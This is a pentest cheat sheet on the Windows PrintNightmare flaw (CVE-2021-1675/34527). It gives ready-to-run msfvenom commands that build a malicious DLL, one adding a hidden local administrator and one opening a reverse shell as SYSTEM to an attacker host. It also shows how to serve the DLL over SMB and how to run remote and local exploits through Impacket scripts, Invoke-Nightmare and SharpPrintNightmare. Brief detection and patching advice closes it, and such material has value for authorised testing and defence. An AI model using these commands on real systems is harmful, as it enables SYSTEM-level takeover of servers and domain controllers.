PrintNightmare

PrintNightmare (CVE-2021-1675 and CVE-2021-34527) is a flaw in the Windows Print Spooler service that lets an authenticated user run a DLL as SYSTEM. It works both for local privilege escalation and to remotely compromise a server (including a DC) that has the spooler running.

What it is based on. The RPC function RpcAddPrinterDriverEx installs a printer driver. The check that the driver was legitimate was flawed, so an arbitrary DLL (local or on an SMB share) can be supplied as the driver; the service, running as SYSTEM, loads and executes it.

How it is executed. Remotely you use the Impacket implementation pointing at a DLL on an SMB share; locally, Invoke-Nightmare directly creates an administrator.

Check the spooler is exposed

rpcdump.py @<target> | egrep -i 'MS-RPRN|MS-PAR'   # the spooler answers over RPC

Get-Service Spooler                                # local: service running

Generate the malicious DLL

# Add a brand-new local administrator
msfvenom -p windows/x64/exec cmd='net user pwn Passw0rd123! /add && net localgroup Administrators pwn /add' -f dll -o evil.dll
# Reverse shell as SYSTEM
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<lhost> LPORT=<lport> -f dll -o evil.dll
impacket-smbserver share $(pwd) -smb2support        # serve the DLL over SMB

Exploit (remote and local)

# Remote with impacket (cube0x0 / Benjamin Delpy variants)
python3 CVE-2021-1675.py <domain>/<user>:<pass>@<target> '\\<lhost>\share\evil.dll'
python3 printnightmare.py -dll '\\<lhost>\share\evil.dll' <domain>/<user>:<pass>@<target>

# Local: Invoke-Nightmare creates the admin without touching SMB
Import-Module .\CVE-2021-1675.ps1
Invoke-Nightmare -NewUser "pwn" -NewPassword "Passw0rd123!"
Invoke-Nightmare -DriverName "PrintMe" -DLL "C:\Windows\Temp\evil.dll"
# C# variant pointing at a local or remote DLL
SharpPrintNightmare.exe C:\Windows\Temp\evil.dll

Requirements. A running Print Spooler service on the target and valid domain credentials (for the remote variant). Many DC have the spooler enabled by default, which turns the flaw into a domain compromise vector.

How to detect it. Check the Microsoft-Windows-PrintService/Admin operational log for driver-load errors, unsigned DLL loads by spoolsv.exe, and driver files appearing under C:\Windows\System32\spool\drivers\. A printer installation followed by the creation of a local administrator is the sequence to hunt.

Defence. Apply the patches, disable the Print Spooler service on servers and DC that do not print, and restrict Point and Print by policy. Related to DnsAdmins abuse, which also loads a DLL as SYSTEM on the DC, and to token attacks for escalating after a local execution.